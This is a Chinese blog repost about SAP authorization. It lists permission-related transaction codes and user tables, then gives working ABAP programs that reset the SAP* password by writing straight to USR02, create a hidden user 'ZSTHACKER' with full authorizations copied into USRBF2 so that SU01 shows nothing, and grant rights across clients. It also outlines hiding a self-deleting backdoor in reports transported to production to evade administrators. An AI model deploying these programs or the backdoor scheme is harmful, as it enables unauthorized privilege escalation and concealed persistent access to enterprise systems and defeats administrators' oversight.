Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3146790
  • 博文数量: 238
  • 博客积分: 864
  • 博客等级: 军士长
  • 技术积分: 2940
  • 用 户 组: 普通用户
  • 注册时间: 2012-10-08 23:01
个人简介

Mobile: 135 8576 5961 / WeChat: IM_WILLIAM_C / Mail: william.chen.cn@outlook.com /

文章分类

全部博文(238)

文章存档

2018年(2)

2016年(35)

2015年(47)

2014年(104)

2013年(38)

2012年(12)

分类: IT业界

2014-04-27 11:14:29

from:http://mahone.iteye.com/blog/806698
尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限。

概念:

[1].Activity(group)

[2].Authorization Object

[3].Profile

[4].Role

实际上决定权限的是Authorization Object , 看USR_USER_AUTH_FOR_OBJ_GET

和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.

常用权限相关Tcode .

(一)Role(角色)相关T-code:

PFAC         标准

PFAC_CHG 改变

PFAC_DEL 删除

PFAC_DIS 显示

PFAC_INS 新建

PFAC_STR

PFCG  创建

ROLE_CMP 比较

SUPC  批量建立角色profile

SWUJ  测试

SU03   检测授权

SU25, SU26      检查Profile

(二)建立用户

SU0 

SU01 

SU01D 

SU01_NAV

SU05

SU1 

SU10  批量

SU12  批量

SUCOMP:维护用户公司地址

SU2  change用户参数

SUIM  用户信息系统,可by 多个查询.

(三)建立用户组

SUGR:维护

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

(四)维护检查授权

SU20|SU21:如有特殊需要定义自己的authorization fields

SU50|SU51|SU52

SU53:当有权限问题可使用它检测

SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:

常用权限相关表格:

TOBJ : All avaiable authorzation objects.(SAP default objects全在此)

USR12: 用户级authoraztion值

USR02:密码table

USR04:Authorization

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:当前用户(SM04看到的所有当前活动用户)

USRBF2:记录当前用户所有的授权objects

UST04:User Profile master

UST10C: Composite profiles

UST10S: Single profiles

UST12 : Authorizations

如何获取权限呢?下面举几个实际例子

修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.

report ZMODPWD.

tables :usr02 .

*Data ZUSR02 like USR02 .

*select  single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' .

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02  .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效

上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.

下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02  .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select *  from  USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

  ZUSRBF2-BNAME = 'ZSTHACKER' . 

  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

  zusrbf2-mandt = sy-mandt.

  zusrbf2-bname = 'ZSTHACKER'.

  zusrbf2-objct = ztobj-objct.

  zusrbf2-auth  ='&_SAP_ALL'.

  modify USRBF2 FROM  zusrbf2 .

endloop .

现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:

[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).

[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.

***注意千万不要用此临时用户做一些不合理的动作.

[3]能不能垮client端建立用户和授权呢?

    回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2  where bname = 'SAP*' .

Zusrbf2-bname = 'ZSTHACKER' .

Zusrbf2-mandt = '100'.

Insert into usrbf2 client specified values zusrbf2.

Endselect .

阅读(2174) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~